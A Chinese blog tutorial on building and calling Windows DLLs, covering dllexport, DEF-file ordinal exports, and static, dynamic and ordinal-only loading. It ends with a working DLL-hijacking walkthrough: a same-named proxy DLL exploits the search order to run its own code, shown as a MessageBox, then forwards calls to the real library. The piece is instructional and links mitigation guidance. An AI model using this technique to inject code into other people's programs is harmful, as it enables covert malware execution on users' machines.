天天看点

DLL的创建,调用与DLL劫持

        DLL平时经常用到,不过没系统整理过,刚好最近在读<<计算机病毒揭秘与对抗>>,就做了些小例子,把关于DLL的部份整理了下.

内容包含下列几部份:

一。 DLL创建

  a. __declspec(dllexport) 关键字导出函数

  b. DEF文件方式导出函数名或仅导出函数序号

二。DLL调用

  a. 静态方式调用

  b. 动态方式调用

  c. 仅函数序号方式的调用

三。如何劫持DLL

一。 DLL创建

a. __declspec(dllexport) 关键字导出函数

代码如下: 

#include "stdafx.h"

#include <Windows.h>
#include <tchar.h>

#ifdef _MANAGED
#pragma managed(push, off)
#endif

HANDLE g_hModule = NULL; //保存自己的模块句柄

//导出函数
extern "C" __declspec(dllexport) void Test()
{
	TCHAR tcModulePath[MAX_PATH] = {0};

	//获得自身的完整路径
	GetModuleFileName( (HMODULE)g_hModule,tcModulePath,MAX_PATH);
	MessageBox(0,tcModulePath,_T("testdll的加载路径"),0);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	g_hModule = hModule; //保存模块加载句柄
    return TRUE;
}

#ifdef _MANAGED
#pragma managed(pop)
#endif
           

b. DEF文件方式导出函数名或仅导出函数序号

 1. 编译DLL代码

#include "stdafx.h"
#include <tchar.h>

#ifdef _MANAGED
#pragma managed(push, off)
#endif

HANDLE g_hModule = NULL; //保存自己的模块句柄

// DEF文件方式,函数前不需要导出函数关键字 __declspec(dllexport) 
void Test()
{
	TCHAR tcModulePath[MAX_PATH] = {0};

	//获得自身的完整路径
	GetModuleFileName( (HMODULE)g_hModule,tcModulePath,MAX_PATH);
	MessageBox(0,tcModulePath,_T("testdll的加载路径"),0);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	g_hModule = hModule; //保存模块加载句柄
    return TRUE;
}

#ifdef _MANAGED
#pragma managed(pop)
#endif
           

2. 创建DEF文件:testdll.def

LIBRARY	"testdll.lib" ;导出模块名
DESCRIPTION "DEF文件方式"
EXPORTS ;关键字,后面要跟导出函数信息
Test @2	;导出Test函数,导出序号为2
;Test @3 noname ;导出函数Test,导出序号为3,并不导出函数名
           

各种情况下的导出效果对比:

不使用DEF文件的效果如下:

DLL的创建,调用与DLL劫持

当为 "Test @2 ;导出Test函数,导出序号为2" 时:

DLL的创建,调用与DLL劫持

当为 "Test @3 noname ;导出函数Test,导出序号为3,并且不导出函数名" 时 :

DLL的创建,调用与DLL劫持

注意看"Ordinal"与"Function"的不同.

二。DLL调用

a. 静态方式调用

例子对应"a. __declspec(dllexport) 关键字导出函数"创建的DLL库

这种方式,需要.lib文件和.DLL文件。

例子中是用"#pragma comment(lib"方式,也可在工程属性中常规和输入中指定.lib及所在目录

#include "stdafx.h"

//静态链接方式:
#pragma comment(lib,"..\\debug\\testdll.lib")
extern "C" void Test();

int _tmain(int argc, _TCHAR* argv[])
{
	Test();
	return 0;
}
///
           

b. 动态方式调用

  这种方式不需要.lib文件,只要知道DLL导出函数的格式就行了。

#include "stdafx.h"

//动态链接方式:
typedef void (* TEST)();
int _tmain(int argc, _TCHAR* argv[])
{
	HMODULE hDll = LoadLibraryA("testdll.dll");
	if(hDll)
	{
		TEST test = (TEST)GetProcAddress(hDll,"Test");
		if(test != NULL)
		{
			test();
		}
		FreeLibrary(hDll);

	}
	return 0;
}
///
           

c. 仅函数序号方式的调用

例子对应DEF方式生成库时" Test @3 noname ;导出函数Test,导出序号为3,并不导出函数名"创建的DLL库

#include "stdafx.h"


//DLL仅导出函数序号,没有导出函数名称的调用方式:
typedef void (* TEST)();
int _tmain(int argc, _TCHAR* argv[])
{
	DWORD dwOrdinal = MAKELONG(3,0); //构造函数序号,低字节为序号,高字为0

	HMODULE hDll = LoadLibraryA("testdll.dll");
	if(hDll)
	{
		TEST test = (TEST)GetProcAddress(hDll,(LPCSTR)dwOrdinal);
		if(test != NULL)
		{
			test();
		}
		FreeLibrary(hDll);

	}
	return 0;
}

///
           

三。如何劫持DLL

在不知道一个EXE源码的情况下,将自己写的代码注入到其中,有两种方法:

1. 直接向对方进程空间使用写内存的方式写入代码

2. 将自己的代码写入到DLL文件中,然后通过劫持EXE所调用的DLL的方式来达到目地。

劫持DLL就是第二种方式的实现方式.

可钻的空子,在于动态链接库文件的加载顺序下,只要让自定义的相同名字的DLL抢先被EXE文件找到,就达到目的了。

顺序如下:

  windows xp sp2系统以上会默认开启SafeDllSearchMode,在这种模式下DLL文件的搜索顺序如下所示:

  (1)可执行程序加载的目录(可理解为程序安装目录比如 E:\XclCode\testdll\testdll\debug)

  (2)系统目录(即 %windir%\system32 )

  (3)16位系统目录(即 %windir%\system)

  (4)Windows目录(即 %windir%)

  (5)当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test)

  (6)PATH环境变量中列出的目录

具体实现步骤如下:

 1.  依前面" a. __declspec(dllexport) 关键字导出函数" 的方法创建一个testdll.dll库

 2. 将其剪到指定目录下: E:\\XclCode\\testdll\\dll

 3. 创建一个名字一样的DLL工程,创建testdll.dll库

    例子代码如下:

#include "stdafx.h"
#include <string.h>

#ifdef _MANAGED
#pragma managed(push, off)
#endif

//这个函数指针保存原始dll导出函数的地址
typedef void (* FUNTEST)();
FUNTEST g_funTest = NULL;

///
/*
//方法一:
extern "C" __declspec(dllexport) void Test()
{
	g_funTest();
}
*/
///
///
/*
//方法二:
//__declspec(naked) :
//  不生成栈平衡效验代码,栈空间开辟代码等调试代码,函数内部内嵌汇编代码直接跳转到原始DLL的导出函数中执行

extern "C" __declspec(naked) __declspec(dllexport) void Test()
{
	__asm jmp dword ptr [g_funTest]
}
*/
///


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
 //进程加载时调用DLLMain
	if(ul_reason_for_call ==DLL_PROCESS_ATTACH)
	{
		//禁用进程内线程创建或退出而调用DllMain入口函数
		DisableThreadLibraryCalls(hModule);
		//获取原始dll导出的函数地址并保存
		char cDllPath[MAX_PATH] = {0};

		//GetSystemDirectoryA( (LPSTR)cDllPath,MAX_PATH);
		//strcat(cDllPath," 1"); //采用导出函数序号的方式调用
		MessageBoxA(0,"劫持成功 by xiongchuanliang! 可以为所欲为了。","劫持库",0);
		//被劫持的,实际要调用的DLL
		strcpy(cDllPath,"E:\\XclCode\\testdll\\dll\\testdll.dll");		
		HMODULE hDll = LoadLibraryA(cDllPath);
		g_funTest = (FUNTEST)GetProcAddress(hDll,"Test");
	}

    return TRUE;
}

#ifdef _MANAGED
#pragma managed(pop)
#endif
           

 其中关于函数,有两种方法可以参考下。

4. 创建一个调用测试程序,可参照" b. 动态方式调用"例子的代码

5. 将第三步创建的劫持的dll,放入到与第四步创建的exe同一目录下

6. 动行即可看到,MessageBox被弹出了两次

如何解决DLL劫持问题,官网有完整的说明:

http://msdn.microsoft.com/en-us/library/ms682586%28v=vs.85%29.aspx

MAIL: [email protected]

BLOG: http://blog.csdn.net/xcl168